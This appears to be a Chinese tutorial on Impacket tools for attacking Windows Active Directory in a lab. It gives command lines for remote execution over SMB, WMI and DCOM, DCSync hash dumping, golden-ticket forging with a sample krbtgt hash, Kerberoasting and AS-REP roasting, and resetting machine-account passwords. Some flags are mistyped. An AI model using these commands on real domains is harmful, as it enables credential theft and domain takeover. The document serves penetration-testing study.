Impacket工具使用

news2024/11/30 20:29:47

Impacket工具说明

Impacker是用户处理网络协议的Python类集合,用于对SAB1-3或IPv4/IPv6
上的TCP/UPD/ICMP/IGMP/ARP/IPv4/IPv6/SMB/MSRPC/NTLM/Kerberos/WMI/LDAP
等进行低级的编程访问,数据包可以从头开始构建,也可以从原始数据包中解析,
面向对象API使用处理协议的深层结构变得简单。

psexec.py

psexec.py是用于远程连接的工具
语法:
	使用明文密码
	administrator	账号
	passrrrr		密码
	psexpc.py administrator:passrrrr@10.211.55.33
	使用密码Hash
	psexec.py administrator@10.133.22.22 -hashs xxxxxx
连接原理:
	通过管道上传一个二进制文件到目标机器C:\Windows目录下,
	并在远程目标机器上创建一个服务,然后通过服务运行二进制文件,
	运行结束后删除服务和二进制文件,由于创建或删除服务会产生大量的日志,
	因此会在攻击溯源时通过日志反推攻击流程。
连接条件:
	需要目标开启445端口,IPC$和非IPC$的任意可写共享,
	psexec要往目标主机写入二进制文件,默认情况下C$和admin$是开启的。

在这里插入图片描述

smbexec.py

连接原理:
	smbexec跟psexec很相似是RemComSvc技术的工具,可以在文件共享远程系统中
	创建服务,将运行的命令写在bat脚本中执行,将执行结果写在文件中获取执行命令的输出,
	最后将bat文件和输出文件与服务全部删除,因为会创建服务因此会产生大量的日志。
连接条件:
	使用smbexec连接需要目标开启445端口,IPC$和非IPC$的任意可写共享,
	可以使用除ipc$共享外的所有其他共享,该脚本默认使用C$,可以使用-share参数指定
	其他共享。
连接语法:
	使用明文密码:
		smbexec.py administrator:passrrrr@10.211.55.33
	使用密码Hash
		smbexec.py administrator@10.133.22.22 -hashs xxxxxx
		smbexec.py administrator@10.133.22.22 -hashs xxxxxx	-codec gbk	解决乱码	
		smbexec.py administrator@10.133.22.22 -hashs xxxxxx	-share admin$	指定其他方式共享连接

在这里插入图片描述

wmiexec.py

该脚本主要通过WMI实现远程执行,躲避杀软最好。
连接条件:
	需要目标开启135和445端口,并且依赖于admin$,
	135端口用于执行命令,445端口用于读取回显。
连接语法:
	使用明文密码:
	wmiexec.py administrator:passrrrr@10.211.55.33
	使用密码Hash
	wmiexec.py administrator@10.133.22.22 -hashs xxxxxx
	wmiexec.py administrator@10.133.22.22 -hashs xxxxxx	-codec gbk	解决乱码	

在这里插入图片描述

atexec.py

通过脚本执行计划任务在主机上实现命令执行,并返回执行后的输出结果。
连接语法:
	使用明文密码:
	atexec.py administrator:passrrrr@10.211.55.33 whoami(执行的命令)
	使用密码Hash
	atexec.py administrator@10.133.22.22 whoami -hashs xxxxxx
	atexec.py administrator@10.133.22.22 whoami -hashs xxxxxx	-codec gbk	解决乱码	

dcomexec.py

通过DCOM在目标上实现命令执行,并返回命令执行后结果
连接语法:
	使用明文密码:
	dcomexec.py administrator:passrrrr@10.211.55.33 whoami(执行的命令)
	使用密码Hash
	dcomexec.py administrator@10.133.22.22 whoami -hashs xxxxxx
	dcomexec.py administrator@10.133.22.22 whoami -hashs xxxxxx	-codec gbk	解决乱码	

smbclient.py

该脚本用于向服务器上传文件
连接成功后的命令:
	info	查看信息
	shares	查看开启的共享
	use xx	使用指定的共享
	ls		查看当前路径
	cd 		切换目录
	put xx	上传文件
	get xx 	下载文件
连接语法(工作组):
	smbclient.py administrator:passrrrr@10.210.22.3
	smbclient.py administrator@10.133.22.22 -hashs xxxxxx:xxxxx
连接语法(域环境)
	smbclient.py test/administrator:passrrrr@10.210.22.3
	smbclient.py test/administrator@10.133.22.22 -hashs xxxxxx:xxxxx

在这里插入图片描述

secretsdump.py

该脚本是利用DCSync功能导出域内用户Hash,需要连接的账号和密码具有DCSync权限。
获取域内用户所有hash
	secretsdump.py test/administrator:passrrrr@10.210.22.3 -just-dc
使用卷影复制服务导出域内所有hash
	secretsdump.py 	test/administrator:passrrrr@10.210.22.3 -use-vss
获取域内指定krbtgt用户的Hash
	secretsdump.py 	test/administrator:passrrrr@10.210.22.3 -just-dc-user "test\krbtgt"

在这里插入图片描述

如果当前导入了域管理员的票据则不需要密码可以直接导出Hash
	secretsdump.py -k -no-pass AD.test.com -just-dc-user administrator

lookupsid.py(获取域内的SID)

10.210.22.3域控IP
lookupsid.py test/administrator:passrrrr@10.210.22.3 -just-dc-user --domain-sids

ticketer.py(黄金票据)

如果已知目标域krbtgt用户Hash和目标域的SID,则可以利用该脚本执行如下命令生成黄金票据。
krbtgt Hash:
	krbtgt:502:aad3b435b51404eeaad3b435b51404ee:66b71cfe5adbef5ec5ce4d80c78bc6c9:::
域SID:
	S-1-5-21-1873282888-450677352-877677906
生成黄金票据:
	ticketer.py -domain-sid S-1-5-21-1873282888-450677352-877677906 -nthash 66b71cfe5adbef5ec5ce4d80c78bc6c9 -domain test.com administrator

在这里插入图片描述

导入票据:
	export KRB5CCNAME=administrator.ccache
导出administrator用户的Hash
	secretsdump.py -k -no-pass administrator@WIN-VJ3RFUO09V9.test.com -dc-ip 10.211.55.4 -just-dc-user administrator
	需要注意:需要proxychains代理到域内机器才行。

在这里插入图片描述

否则出现一下错误:

在这里插入图片描述

getTGT.py(ntlm hash或者明文密码请求拿到TGT凭据)

密码另外输入可以在特殊字符的密码情况下使用
getTGT.py test/administrator@10.21.33.4 -dc-ip 10.21.33.4 -debug
直接使用明文密码
getTGT.py test/administrator:Password123@10.21.33.4 -dc-ip 10.21.33.4 -debug
使用ntlm hash请求TGT
getTGT.py test.com/administrator:@10.211.55.4 -hashes aad3b435b51404eeaad3b435b51404ee:443304af5a35f12b9ff7ecc74adc5a27

在这里插入图片描述
在这里插入图片描述

getST.py(请求ST)

getST.py -dc-ip 10.211.55.4 -spn cifs/WIN-VJ3RFUO09V9.test.com xie.com/administrator:Password123

在这里插入图片描述

导入票据:
	export KRB5CCNAME=administrator.ccache
访问该服务:
	smbexec.py -no-pass -k WIN-VJ3RFUO09V9.test.com -dc-ip 10.211.55.4

在这里插入图片描述

使用上一步使用getTGT.py生成的TGT票据指定SPN的ST
	导入票据
	export KRB5CCNAME=administrator@10.211.55.4.ccache
	生成新的票据
	getST.py -k -no-pass -spn cifs/WIN-VJ3RFUO09V9.test.com -dc-ip 10.211.55.4 test/administrator@10.211.5.4
	导入票据
	export KRB5CCNAME=administrator@10.211.55.4.ccache
	访问指定服务
	smbexec.py -no-pass -k WIN-VJ3RFUO09V9.test.com -dc-ip 10.211.55.4

samrdump.py(枚举域内用户)

samrdump.py test/administrator:Password123@10.211.55.4 -csv

在这里插入图片描述

addcomputer.py(增加机器账号)

进行基于资源约束委派攻击的时候需要一个机器账号进行控制,于是使用该脚本
可以创建一个机器账号,使用时需要一个有效的域用户,支持两种方式创建一种是
SAMR协议,另一种是LDAPS协议。
SAMR协议创建机器账号:
	addcomputer.py -computer-name 'mmm123' -computer-pass 'password123' -dc-ip 10.211.55.4 'test.com/hack:Password1234' -method SAMR -debug

在这里插入图片描述

LDAPS协议创建机器账号:
	addcomputer.py -computer-name 'mmm123' -computer-pass 'password123' -dc-ip 10.211.55.4 'test.com/hack:Password1234' -method LDAPS -debug
修改已经创建的机器账号密码(添加-no-add参数):
	addcomputer.py -computer-name 'mmm123$' -computer-pass 'newPassword123' -dc-ip 10.211.55.4 'test.com/hack:Password123' -method SAMR -debug -no-add

在这里插入图片描述

也可以使用域管账号修改任意机器账号密码跟上面参数是一样的指定域控机器账号即可,下面将域控账号密码重置为root123

在这里插入图片描述

使用bloodhound发现修改密码的机器账号可以使用

在这里插入图片描述

GetNPUsers.py(AS-REP Roasting)

用于AS-REP Roasting攻击,如果攻击者不在域中,可以使用该脚本执行检查users.txt中的用户是否
设置了不需要Kerberos预身份认证的属性,并且获取该属性账号Hash加密的Login Session Key。
GetNPUsers.py -dc-ip 10.211.55.4 -usersfile users.txt -format john test.com/

GetUserSPNs.py(Kerberoasting)

GetUserSPNs.py脚本可以在域外查询指定域的SPN,需要提供域账号和密码。
查询hack用户下的SPN
GetUserSPNs.py -dc-ip 10.211.55.4 test.com/hack:Password123
将hack用户下所有的SPN的ST保存到hash.txt可以用hashcat进行破解。
GetUserSPNs.py -request -dc-ip 10.211.55.4 test.com/hack:Password123 -outputfile hash.txt
使用hack用户下将test用户下所有的SPN的ST保存到hash.txt可以用hashcat进行破解。
GetUserSPNs.py -request -dc-ip 10.211.55.4 test.com/hack:Password123 -outputfile hash.txt -request-user test

ticketConverter.py(票据转换)

可以将.ccache和.kirbi格式的票据进行相互转换。
ticketConverter.py hack.ccache hack.kirbi
ticketConverter.py hack.kirbi hack.ccache

在这里插入图片描述

addspn.py(增加/删除/查询SPN)

可以用户增加/删除SPN/,增加需要SPN需要域管权限删除SPN只需要目标属性修改权限即可。
查询目标SPN,需要提供一个spn参数,可以是不存在的SPN
addspn.py -u 'test.com\hack' -p 'Password123' -t 'WIN-VJ3RFUO09V9$' -s HOST/WIN-VJ3RFUO09V9.test.com -s aa/aa -q 10.211.55.4
删除目标SPN,需要提供一个SPN参数且必须是存在的SPN
addspn.py -u 'test.com\hack' -p 'Password123' -t 'WIN-VJ3RFUO09V9$' -s HOST/WIN-VJ3RFUO09V9.test.com -s HOST/WIN-VJ3RFUO09V9.test.com -r 10.211.55.4
只有域管才可以添加SPN
	addspn.py -u 'test.com/administrator' -p 'Password123' -t 'WIN-VJ3RFUO09V9$' -s test/test -a 10.211.55.4

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/363471.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Action Segmentation数据集介绍——Breakfast

文章目录简介细节Cooking actibitiesillustration of the actions论文讲解Breakfast(The Breakfast Action Dataset)简介 早餐动作数据集包括与早餐准备相关的10个动作,由18个不同厨房的52个不同的人执行。该数据集是最大的完全带注释的数据…

CCIE 350-401-实验全

实验 VRRP(hello packettimes advertise) This is a lab item in which tasks will be performed on virtual devices. Refer to the Tasks tab to view the tasks for this lab item.Refer to the Topology tab to access the device console(s) and p…

Spring Boot自动装配的原理

Spring Boot自动装配的原理自动装配的实现EnableAutoConfigurationAutoConfigurationImportSelectorSpring Boot中的自动装配,它是Starter的基础,也是Spring Boot的核心。那么什么叫自动装配呢?或者说什么叫装配呢? 简单来说&…

Vulnhub靶场----4、DC-4

文章目录一、环境搭建二、渗透流程三、思路总结一、环境搭建 DC-4下载地址:https://download.vulnhub.com/dc/DC-4.zip kali:192.168.144.148 DC-4:192.168.144.152 二、渗透流程 端口扫描:nmap -T5 -p- -sV -sT -A 192.168.144.1…

ISIS协议

ISIS协议基础简介应用场景路由计算过程地址结构路由器分类邻居Hello报文邻居关系建立DIS及DIS与DR的类比链路状态信息的载体链路状态信息的交互路由算法网络分层路由域![在这里插入图片描述](https://img-blog.csdnimg.cn/9027c43b614a4399ae1f54e87a37f047.png)区域间路由简介…

【MySQL】表操作和库操作

文章目录概念库操作1.创建数据库2.删除数据库3.选择数据库4.显示数据库列表表操作1.创建数据表CREATE2.删除数据表DROP3.插入数据INSERT4.更新数据UPDATE5.修改数据ALTER6.查询数据SELECT7.WHERE子句8.ORDER BY子句9.LIMIT子句10.GROUP BY子句11.HAVING子句使用注意事项概念 M…

Java集合(一)---List和set

1.Java集合有哪些?集合类型主要有3种:set(集)、list(列表)和map(映射)Map接口和Collection接口是所有集合框架的父接口:1. Collection接口的子接口包括:Set接口和List接口2. Map接口的实现类主要有&#xf…

【Python】批量采集原神表情包~

嗨害大家好鸭~我是小熊猫(✿◡‿◡) 最近迷上了原神, 不自觉中就很喜欢保存广大旅行者制作的表情包~ 真的很有意思诶~ 源码资料电子书:点击此处跳转文末名片获取 一个个保存的话,好像效率很低嘛… 那我就发挥我小熊猫的老本行直接给把他们全部采集下…

零基础机器学习做游戏辅助第十三课--原神自动钓鱼(三)labelimg的使用

一、什么是labelimg labelimg是一款开源的图像标注工具,标签可用于分类和目标检测,它是用python写的,并使用Qt作为其图形界面,简单好用(虽然是英文版的)。其注释以 PASCAL VOC格式保存为XML文件,这是ImageNet使用的格式。此外,它还支持 COCO数据集格式。 二、安装label…

大数据时代下的企业网络安全

在大数据技术迅猛发展的今天,网络安全问题已经发展成一个广受关注的热门研究方向。有人说,“大数据下,人人裸奔”,隐私保护、数据防护日益成为广大学者、企业研究的焦点。 面对这种安全威胁,企业必须实施一些有效的信…

Allegro无法看到金属化孔的钻孔的原因和解决办法

Allegro无法看到金属化孔的钻孔的原因和解决办法 用Allegro设计PCB的时候,希望同时看到金属化孔的盘以及钻孔,如下图 但是有时显示效果是这样的,看不到钻孔了 导致无法直观地区分是通孔是还是表贴的盘 如何解决,具体操作如下 点击Setup

27正定矩阵

这一节进入正定矩阵的内容,什么叫做正定矩阵?为什么我们对矩阵正定这么感兴趣? PS:这一节将前面所有的概念都融合在一起:主元、行列式、特征值、不稳定性 一、正定矩阵的判断方法 为了说明问题,我们先考…

低代码平台和无代码平台哪个更适合开发企业管理系统?

编者按:本文分析了开发企业管理系统所需要的平台特性,并根据这些特点和低代码无代码的优劣比较,得出低代码平台更适合开发企业管理系统。关键词:私有化部署,可视化设计,源码交付,数据集成&#…

研究人员在野外发现大量的信息窃取者 “Stealc “的样本

一个名为Stealc的新信息窃取者正在暗网上做广告,它可能成为其他同类恶意软件的一个值得竞争的对象。 "SEKOIA在周一的一份报告中说:"威胁行为者将Stealc作为一个功能齐全、随时可用的窃取者,其开发依赖于Vidar、Raccoon、Mars和Re…

LeetCode 73. 矩阵置零

LeetCode 73. 矩阵置零 难度:middle\color{orange}{middle}middle 题目描述 给定一个 KaTeX parse error: Double subscript at position 3: _m_̲ x _n_ 的矩阵,如果一个元素为 0 ,则将其所在行和列的所有元素都设为 0 。请使用 原地 算法…

Power Query 再谈日期表

Power Query 再谈日期表 需要附件的朋友可以点赞关注后,在公众号(焦棚子)后台回复 日期表 三个字即可领取。 一、背景 在 Power BI 或者 Power Pivot 做业务分析中,必不可少的就是日期表。我们继续优化调制出符合国人习惯日期表。 本次更新&#xff…

harbor 仓库迁移升级

harbor 仓库迁移升级 harbor仓库安装数据传输仓库切换版本 v1.8.0 v2.3.5 harbor仓库安装 环境准备:安装docker详见:docker 的介绍和部署,并下载docker-compose详见:docker 三剑客compose。 现有支持的安装harbor仓库的方式有两…

犹太教、基督教、伊斯兰教的区别与联系

一、犹太教、基督教、伊斯兰教的简明关系图二、犹太教、基督教、伊斯兰教的主要区别注:弥赛亚(希伯莱语)就是基督(希腊语),意思是“救世主”。注:伊斯兰教的观点是:穆罕默德不是伊斯…

华为OD机试 - 优雅数组(Python)【2023-Q1 新题】

华为OD机试300题大纲 参加华为od机试,一定要注意不要完全背诵代码,需要理解之后模仿写出,通过率才会高。 华为 OD 清单查看地址:blog.csdn.net/hihell/category_12199275.html 华为OD详细说明:https://dream.blog.csdn.net/article/details/128980730 优雅数组 | 华为…

S5P6818_系统篇(2)源码编译及烧录

源码获取 源码获取和操作流程 1.下载liunux下的系统制作脚本,可以烧录系统和构建镜像 git clone https://github.com/friendlyarm/sd-fuse_s5p6818.git 如果出现git错误可使用如下方法: git config --global http.sslverify false 2.阅读该工具rea…